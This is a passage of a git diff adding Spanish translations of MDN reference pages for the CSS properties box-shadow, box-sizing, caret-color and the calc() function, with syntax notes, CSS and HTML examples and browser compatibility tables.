+<span class="property token">box-shadow</span><span class="punctuation token">:</span> inset <span class="number token">5</span><span class="token unit">em</span> <span class="number token">1</span><span class="token unit">em</span> gold<span class="punctuation token">;</span>
+
+<span class="comment token">/* Any number of shadows, separated by commas */</span>
+<span class="property token">box-shadow</span><span class="punctuation token">:</span> <span class="number token">3</span><span class="token unit">px</span> <span class="number token">3</span><span class="token unit">px</span> red<span class="punctuation token">,</span> <span class="number token">-1</span><span class="token unit">em</span> <span class="number token">0</span> <span class="number token">0.4</span><span class="token unit">em</span> olive<span class="punctuation token">;</span>
+
+<span class="comment token">/* Global keywords */</span>
+<span class="property token">box-shadow</span><span class="punctuation token">:</span> inherit<span class="punctuation token">;</span>
+<span class="property token">box-shadow</span><span class="punctuation token">:</span> initial<span class="punctuation token">;</span>
+<span class="property token">box-shadow</span><span class="punctuation token">:</span> unset<span class="punctuation token">;</span></code></pre>
+
+<p>Especifica una sola box-shadow utilizando:</p>
+
+<ul>
+ <li>Dos, tres, o cuatro valores <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/length">&lt;length&gt;</a></code>.
+
+  <ul>
+   <li>Si solo dos valores son definidos, son interpretados como valores <code><a href="https://developer.mozilla.org/es/docs/Web/CSS/box-shadow$edit#offset-x">&lt;offset-x&gt;&lt;offset-y&gt;</a></code>.</li>
+   <li>Si un tercer valor es dado, es interpretado como un <code><a href="https://developer.mozilla.org/es/docs/Web/CSS/box-shadow$edit#blur-radius">&lt;blur-radius&gt;</a></code>.</li>
+   <li>Si un cuarto valor es dado, es interpretado como un <code><a href="https://developer.mozilla.org/es/docs/Web/CSS/box-shadow$edit#spread-radius">&lt;spread-radius&gt;</a></code>.</li>
+  </ul>
+ </li>
+ <li>Opcionalmente, la palabra clave <code><a href="https://developer.mozilla.org/es/docs/Web/CSS/box-shadow$edit#inset">inset</a></code>.</li>
+ <li>Opcionalmente, el valor <code><a href="https://developer.mozilla.org/es/docs/Web/CSS/box-shadow$edit#color">&lt;color&gt;</a></code>.</li>
+</ul>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>inset</code></dt>
+ <dd>Si no se especifica (por defecto), la sombra asume una sombra difuminada (como si la caja fuera levantada por encima del contenido).<br>
+ La presencia de la palabra clave <code>inset</code>  cambia la sombra a una dentro del marco (como si el contenido estuviera deprimido dentro de la caja). Inset shadows dibuja dentro del borde (incluso de los transparentes), por encima del fondo, pero por debajo del contenido.</dd>
+ <dt><code>&lt;offset-x&gt; &lt;offset-y&gt;</code></dt>
+ <dd>Estos son dos valores {{cssxref("&lt;length&gt;")}} para definir el desplazamiento de la sombra. <code>&lt;offset-x&gt;</code> especifica la distancia horizontal. Los valores negativos colocan las combra a la izquierda de el elemento. <code>&lt;offset-y&gt;</code> Especifica la distancia vertical. Los valores negativos colocan la sombra por encima del elemento. Ver{{cssxref("&lt;length&gt;")}} para posibles unidades.<br>
+ Si ambos valores son <code>0</code>, la sombra es ubicada detras del elemento (y puede generar un efecto de difuminación <code>&lt;blur-radius&gt;</code> y/o <code>&lt;spread-radius&gt;</code> está establecido).</dd>
+ <dt><code>&lt;blur-radius&gt;</code></dt>
+ <dd>Este es el tercer valor {{cssxref("&lt;length&gt;")}}. Cuando mayor sea este valor, mayor sera la difuminación, por consecuencia la sombra se vuelve más grande y ligera. Los valores negativos no son permitidos. Si esto no es especificado, su valor será <code>0</code> (el borde de la sombra es fuerte). La especificación no incluye un algoritmo exacto para como el radio de desenfoque debe ser calculado, sin embargo, explica lo siguiente:</dd>
+</dl>
+
+<blockquote>
+<p>...para una borde largo y recto de la sombra, se debería crear una transición de color con la longitud de la distancia de desenfoque que sea perpendicular a y centrada al borde de la sombra, y en estos rangos desde el color de la sombra total en el punto final del radio dentro de la sombra hasta totalmente transparente en el punto final fuera de ella.</p>
+</blockquote>
+
+<dl>
+ <dt><code>&lt;spread-radius&gt;</code></dt>
+ <dd>Este es el cuarto valor {{cssxref("&lt;length&gt;")}} . Los valores positivos harán que la sombra se expanda y crezca más, los valores negativos harán que la sombra se reduzca de tamaño. Si no se especifica, este será <code>0</code> (la sombra será del mismo tamaño del elemento).</dd>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Ver los valores de {{cssxref("&lt;color&gt;")}} para las posibles palabras claves y anotaciones.<br>
+ Si no se especifica, el color depende del navegador - usualmente el valor de la propiedad {{ cssxref("color") }}, pero notar que en Safari, actualmente pinta una sombra transparente en este caso que sea omitido.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En nuestro ejemplo, se incluyen tres sombras: una sombra interior, una sombra difuminada normal, y una sombra de 2px que crea un efecto de borde (podría haberse usado un {{cssxref('outline')}} en lugar de una tercera sombra).</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>blockquote</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>q</span><span class="punctuation token">&gt;</span></span>You may shoot me with your words,<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">/&gt;</span></span>
+You may cut me with your eyes,<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">/&gt;</span></span>
+You may kill me with your hatefulness,<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">/&gt;</span></span>
+But still, like air, I'll rise.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>q</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="entity token" title="—">&amp;mdash;</span> Maya Angelou<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>blockquote</span><span class="punctuation token">&gt;</span></span></code>
+</pre>
+
+<p><em>Podrías dispararme con tus palabras,<br>
+ podrías cortarme con tus ojos,<br>
+ podrías matarme con tu odio,<br>
+ y aún, como el aire, levantarme.</em><br>
+ -Traduccion-</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css line-numbers language-css notranslate"><code class="language-css"><span class="selector token">blockquote</span> <span class="punctuation token">{</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">20</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">box-shadow</span><span class="punctuation token">:</span>
+       inset <span class="number token">0</span> <span class="number token">-3</span><span class="token unit">em</span> <span class="number token">3</span><span class="token unit">em</span> <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0.1</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+             <span class="number token">0</span> <span class="number token">0</span>  <span class="number token">0</span> <span class="number token">2</span><span class="token unit">px</span> <span class="function token">rgb</span><span class="punctuation token">(</span><span class="number token">255</span><span class="punctuation token">,</span><span class="number token">255</span><span class="punctuation token">,</span><span class="number token">255</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+             <span class="number token">0.3</span><span class="token unit">em</span> <span class="number token">0.3</span><span class="token unit">em</span> <span class="number token">1</span><span class="token unit">em</span> <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0.3</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>{{EmbedLiveSample('Examples1', '300', '300')}}</p>
+
+<div id="Examples2">
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Hello World<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+</div>
+
+<h3 id="CSS_2">CSS</h3>
+
+<pre class="brush: css line-numbers language-css notranslate"><code class="language-css"><span class="selector token">p</span> <span class="punctuation token">{</span>
+  <span class="property token">box-shadow</span><span class="punctuation token">:</span> <span class="number token">0</span> <span class="number token">0</span> <span class="number token">0</span> <span class="number token">2</span><span class="token unit">em</span> <span class="hexcode token">#F4AAB9</span><span class="punctuation token">,</span>
+              <span class="number token">0</span> <span class="number token">0</span> <span class="number token">0</span> <span class="number token">4</span><span class="token unit">em</span> <span class="hexcode token">#66CCFF</span><span class="punctuation token">;</span>
+  <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">4</span><span class="token unit">em</span><span class="punctuation token">;</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span><span class="number token">1</span><span class="token unit">em</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>{{EmbedLiveSample('Examples2', '300', '300')}}</p>
+
+<p>Cuando el <code>x-offset</code>, <code>y-offset</code>, y <code>blur</code> son todos cero, la sombra sera un contorno unifrome. Las sombras son dibujadas desde el fondo hasta el frente, así que la primera sombra se encuentra encima de sombras posteriores. Cuando el <code>border-radius</code> es 0, como por defecto, las esquinas de la sombra serán, bien, esquinas. De haberse definido un <code>border-radius</code> de cualquier otro valor, las esquinas habrían sido redondeadas.</p>
+
+<p>Se ha añadido un margen del tamaño de la sombra más ancha para asegurarse de que la sombra no se superponga a los elementos adyacentes o vaya más allá del borde de la caja de contención. Una sombra de caja no afeta a las dimensiones del <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model">modelo de caja</a>.</p>
+
+
+
+<h2 class="cleared" id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#box-shadow', 'box-shadow')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>cssinfo}}</p>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada de datos estructurados. Si desea contribuir a esta información, por favor revise <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíe sus pull request.</div>
+
+<p>{{Compat("css.properties.box-shadow")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El tipo de dato {{cssxref("&lt;color&gt;")}}</li>
+ <li>Otras propiedades relacionadas al color: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("caret-color")}}, y {{cssxref("column-rule-color")}}</li>
+ <li>{{cssxref("text-shadow")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Applying_color">Aplicando color a los elementos HTML utilizando CSS</a></li>
+</ul>
diff --git a/files/es/web/css/box-sizing/index.html b/files/es/web/css/box-sizing/index.html
new file mode 100644
index 0000000000..5fbea86747
--- /dev/null
+++ b/files/es/web/css/box-sizing/index.html
@@ -0,0 +1,119 @@
+---
+title: box-sizing
+slug: Web/CSS/box-sizing
+tags:
+  - CSS
+  - Layout
+  - Propiedades CSS
+  - Web
+translation_of: Web/CSS/box-sizing
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad CSS <strong><code>box-sizing</code></strong> como el {{glossary("user agent")}} debe calcular el ancho y alto total de un elemento.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/box-sizing.html")}}</div>
+
+
+
+<p>Por defecto en el <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">modelo de caja de CSS</a>, el ancho y alto asignado a un elemento es aplicado solo al contenido de la caja del elemento. Si el elemento tiene algun borde (border) o relleno (padding), este es entonces añadido al ancho y alto a alcanzar el tamaño de la caja que es desplegada en pantalla. Esto significa que cuando se definen el ancho y alto, se tiene que ajustar el valor definido para permitir cualquier borde o relleno que se pueda añadir.</p>
+
+<p>La propiedad <code>box-sizing</code> puede ser usada para ajustar el siguiente comportamiento:</p>
+
+<ul>
+ <li><code>content-box</code> es el comportamiento CSS por defecto para el tamaño de la caja (box-sizing). Si se define el ancho de un elemento en 100 pixeles, la caja del contenido del elemento tendrá 100 pixeles de ancho, y el ancho de cualquier borde o relleno ser añadirá al ancho final desplegado.</li>
+ <li><code>border-box</code> le dice al navegador tomar en cuenta para cualquier valor que se especifique de borde o de relleno para el ancho o alto de un elemento. Es decir, si se define un elemento con un ancho de 100 pixeles. Esos 100 pixeles incluíran cualquier borde o relleno que se añadan, y la caja de contenido se encogerá para absorber ese ancho extra. Esto típicamente hace mucho más fácil dimensionar elementos.</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La propiedad <code>box-sizing</code> es especificada como una sola palabra clave elegida de la lista de valores que aparece abajo.</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>content-box</code></dt>
+ <dd>Este es el valor inicial y por defecto especificado por el estándar CSS. Las propiedades {{Cssxref("width")}} and {{Cssxref("height")}} no incluyen el borde, relleno o margen. Por ejemplo, <code>.box {width: 350px; border: 10px solid black;}</code> despliega una caja con un ancho de 370 pixeles.</dd>
+ <dd>Aquí, las dimensiones de un elemento son calculados como: ancho = ancho del contenido, altura = altura del contenido. (Los bordes y rellenos no son incluídos en el cálculo.)</dd>
+ <dt><code>border-box</code></dt>
+ <dd>Las propiedad de {{Cssxref("width")}} y {{Cssxref("height")}} incluyen el contenido, relleno y borde pero no incluyen el margén. Tenga en cuenta que el relleno y borde estarán dentro de la caja. Por ejemplo, <code>.box {width: 350px; border: 10px solid black;}</code> despliega una caja con un ancho de 350 pixeles. La caja de contenidos no puede ser negativo y tiene un valor mínimo de 0, haciendo imposible usar el <code>border-box</code> para hacer que el elemento desaparezca.</dd>
+ <dd>Las dimensiones del elemeno se calculan como: ancho = borde + relleno + ancho del contenido, y altura = borde + relleno + altura del contenido.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo muesta cómo diferentes valores de tamaño de la caja (<code>box-sizing</code>) alteran el tamaño desplegado de dos elementos idénticos.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="content-box"&gt;Contenido de la caja&lt;/div&gt;
+&lt;br&gt;
+&lt;div class="border-box"&gt;Borde de la caja&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 160px;
+  height: 80px;
+  padding: 20px;
+  border: 8px solid red;
+  background: yellow;
+}
+
+.content-box {
+  box-sizing: content-box;
+  /* Ancho  total: 160px + (2 * 20px) + (2 * 8px) = 216px
+     Altura total: 80px + (2 * 20px) + (2 * 8px) = 136px
+     Ancho de la caja de contenido: 160px
+     Altura de la caja de contenido: 80px */
+}
+
+.border-box {
+  box-sizing: border-box;
+  /* Ancho total: 160px
+     Altura total: 80px
+     Ancho de la caja de contenido: 160px - (2 * 20px) - (2 * 8px) = 104px
+     Altura de la caja de contenido: 80px - (2 * 20px) - (2 * 8px) = 24px */
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplo', 'auto', 300)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#box-sizing', 'box-sizing')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+
+
+<p>{{Compat("css.properties.box-sizing")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">Modelo de caja de CSS</a></li>
+</ul>
diff --git a/files/es/web/css/calc()/index.html b/files/es/web/css/calc()/index.html
new file mode 100644
index 0000000000..def61847cd
--- /dev/null
+++ b/files/es/web/css/calc()/index.html
@@ -0,0 +1,199 @@
+---
+title: calc
+slug: Web/CSS/calc()
+translation_of: Web/CSS/calc()
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>La función CSS <code>calc()</code> puede ser usada en cualquier sitio donde {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;frequency&gt;")}}, {{cssxref("&lt;angle&gt;")}}, {{cssxref("&lt;time&gt;")}}, {{cssxref("&lt;number&gt;")}}, o {{cssxref("&lt;integer&gt;")}} sea requerido. <code>Con calc()</code> puedes realizar cálculos para determinar valores de propiedades CSS.</p>
+
+<p>Es posible anidar llamadas a <code>calc()</code> dentro de otras llamadas <code>calc()</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">calc(<em>expresión</em>)</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt>expresión</dt>
+ <dd>Una expresión matemática cuyo resultado es usado como valor para la propiedad sobre la cual se aplica.</dd>
+</dl>
+
+<h3 id="Expresiones">Expresiones</h3>
+
+<p>{{todo("mod,min,max : http://hacks.mozilla.org/2010/06/css3-calc/")}}La expresión puede ser una combinación de los siguientes operadores:</p>
+
+<dl>
+ <dt><strong>+</strong></dt>
+ <dd>Suma</dd>
+ <dt><strong>-</strong></dt>
+ <dd>Resta</dd>
+ <dt><strong>*</strong></dt>
+ <dd>Multiplicación. Al menos uno de los argumentos debe ser un {{cssxref("&lt;number&gt;")}}.</dd>
+ <dt><strong>/</strong></dt>
+ <dd>División. El divisor debe ser un {{cssxref("&lt;number&gt;")}}.</dd>
+</dl>
+
+<p>Los operandos en la expresión pueden ser valores tanto positivos como negativos. Puedes usar diferentes unidades para cada valor si lo deseas. Es recomendable el uso de paréntesis para añadir legibilidad a la expresión o para forzar precedencia en las operaciones en caso necesario.</p>
+
+<div class="note"><strong>Nota:</strong> La división por cero dará lugar a un error generado por el analizador de HTML del navegador.</div>
+
+<div class="note"><strong>Nota:</strong> las operaciones + y - siempre deben estar separadas de sus operandos mediante espacios en blanco. La expresión <code>calc(50% -8px)</code> será tomada como un operando de porcentaje seguido de otro operando de signo negativo (una expresión inválida, dado que no hay operador en medio), mientras que la expresión <code>calc(50% - 8px)</code> es un porcentaje seguido de una operación de resta.<br>
+Los operadores <code>* y</code> <code>/</code> no requieren espacio en blanco, pero es recomendable añadirlo por consistencia.</div>
+
+<dl>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Añadir_un_margen_a_un_objeto_en_pantalla">Añadir un margen a un objeto en pantalla</h3>
+
+<p><code>calc()</code> hace más fácil añadir márgenes a un objeto en determinadas circunstancias. En este ejemplo, CSS crea un espacio horizontal de color amarillo que llena el ancho de la ventana con un hueco de 40 pixels en ambos lados:</p>
+
+<pre class="brush: css">.banner {
+  position: absolute;
+  left: 40px;
+  width: 90%;               /* salvaguarda para navegadores que no reconocen calc() */
+  width: calc(100% - 80px);
+  border: solid black 1px;
+  box-shadow: 1px 2px;
+  background-color: yellow;
+  padding: 6px;
+  text-align: center;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="banner"&gt;This is a banner!&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('Positioning_an_object_on_screen_with_a_margin', '100%', '60') }}</p>
+
+<h3 id="Entradas_de_formulario_que_se_ajustan_automáticamente_al_ancho_de_su_contenedor">Entradas de formulario que se ajustan automáticamente al ancho de su contenedor</h3>
+
+<p>Otro caso de uso para<code> calc()</code> es asegurar que los campos de un formulario llenan el espacio disponible sin pasarse de los límites de su contenedor mientras mantienen el margen apropiado.</p>
+
+<p>Echémosle un vistazo al CSS:</p>
+
+<pre class="brush: css">input {
+  padding: 2px;
+  display: block;
+  width: 98%;               /* salvaguarda para navegadores que no reconocen calc() */
+  width: calc(100% - 1em);
+}
+
+#formbox {
+  width: 130px;             /* salvaguarda para navegadores que no reconocen calc() */
+  width: calc(100% / 6);
+  border: 1px solid black;
+  padding: 4px;
+}
+</pre>
+
+<p>El formulario usa 1/6 del ancho disponible. Para asegurar que los campos de entrada tienen el tamaño adecuado, usamos  <code>calc()</code> de nuevo para establecer el ancho que deberían tener (el de su contenedor) menos 1em. Para probar esto, usaremos el siguiente HTML:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div id="formbox"&gt;
+  &lt;label&gt;Type something:&lt;/label&gt;
+  &lt;input type="text"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Automatically_sizing_form_fields_to_fit_their_container', '100%', '80') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#calc-notation', 'calc()')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>19 (WebKit 536.3) {{property_prefix("-webkit")}}<br>
+    26</td>
+   <td>{{CompatGeckoDesktop("2")}} {{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16")}}</td>
+   <td>9</td>
+   <td>-</td>
+   <td>6 {{property_prefix("-webkit")}} (buggy)</td>
+  </tr>
+  <tr>
+   <td>On gradients' color stops</td>
+   <td>19 (WebKit 536.3) {{property_prefix("-webkit")}}<br>
+    27 (maybe 26)</td>
+   <td>{{CompatGeckoDesktop("19")}}</td>
+   <td>9</td>
+   <td>-</td>
+   <td>6 {{property_prefix("-webkit")}} (buggy)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2")}} {{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile("16")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>On gradients' color stops</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2010/06/css3-calc/" title="Firefox 4: CSS3 calc() ✩ Mozilla Hacks – the Web developer blog">Firefox 4: CSS3 calc() ✩ Mozilla Hacks – the Web developer blog</a></li>
+</ul>
diff --git a/files/es/web/css/caret-color/index.html b/files/es/web/css/caret-color/index.html
new file mode 100644
index 0000000000..df16ae5923
--- /dev/null
+++ b/files/es/web/css/caret-color/index.html
@@ -0,0 +1,151 @@
+---
+title: caret-color
+slug: Web/CSS/caret-color
+tags:
+  - CSS
+  - CSS UI
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/caret-color
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad CSS <strong><code>caret-color</code></strong> especifica el color del cursor de texto, el indicador visible del punto de inserción en un elemento donde el usuario puede introducir texto u otro contenido.</p>
+
+<pre class="brush: css no-line-numbers">/* Palabras clave */
+caret-color: auto;
+color: transparent;
+color: currentColor;
+
+/* Valores &lt;color&gt; */
+caret-color: red;
+caret-color: #5729e9;
+caret-color: rgb(0, 200, 0);
+caret-color: hsla(228, 4%, 24%, 0.8);
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Los agentes usuario podrían incluir otras cosas que consideren “cursor de texto.” Por ejemplo, puede haber una “cursor para navegación,” que actúa de forma similar al cursor de texto pero puede ser movido en textos no editables. Por otro lado, la imagen de cursor mostrada cuando se coloca el cursor del ratón sobre texto cuando la propiedad {{cssxref("cursor")}} es <code>auto</code>, o sobre un elemento donde la propiedad <code>cursor</code> es <code>text</code> o <code>vertical-text</code>, aunque a veces se parezca al cursor de texto, no lo es (es un cursor del ratón). En algunos navegadores que no soportan esta propiedad, el color del cursor de texto no está asociado al color de la fuente.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Los agentes usuarios deberán usar <code>currentcolor</code>, pero podrían ajustar automáticamente el color del cursor para asegurar la correcta visibilidad y contraste con el contenido alrededor, posiblemente con base en <code>currentcolor</code>, el fondo, sombras, etc.
+ <div class="note">
+ <p><strong>Nota:</strong> Aunque los agentes usuarios puedan usar <code>currentcolor</code> (que usualmente es animable) para el valor <code>auto</code>, <code>auto</code> no es interpolado en las transiciones/animaciones.</p>
+ </div>
+ </dd>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>Color del cursor de texto.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input /&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input {
+  caret-color: red;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Ejemplo", 300, 40)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 UI", "#propdef-caret-color", "caret-color")}}</td>
+   <td>{{Spec2("CSS3 UI")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("57")}}</td>
+   <td>
+    <p>Edge 38.1</p>
+   </td>
+   <td>{{CompatGeckoDesktop("53.0")}}</td>
+   <td>
+    <p>Internet Explorer 11 </p>
+   </td>
+   <td>{{CompatOpera("44")}}</td>
+   <td>
+    <p>{{CompatNo}} </p>
+
+    <p>system caret</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("57")}}</td>
+   <td>{{CompatChrome("57")}}</td>
+   <td>{{CompatGeckoMobile("53.0")}}</td>
+   <td>{{CompatNo}}
+    <p>font color</p>
+   </td>
+   <td>{{CompatOperaMobile("44")}}</td>
+   <td>{{CompatNo}}
+    <p>system caret</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/cascade/index.html b/files/es/web/css/cascade/index.html
new file mode 100644
index 0000000000..6860a8ba39
--- /dev/null
+++ b/files/es/web/css/cascade/index.html
@@ -0,0 +1,202 @@
+---
+title: Introducción a CSS en cascada
+slug: Web/CSS/Cascade
+translation_of: Web/CSS/Cascade
+---
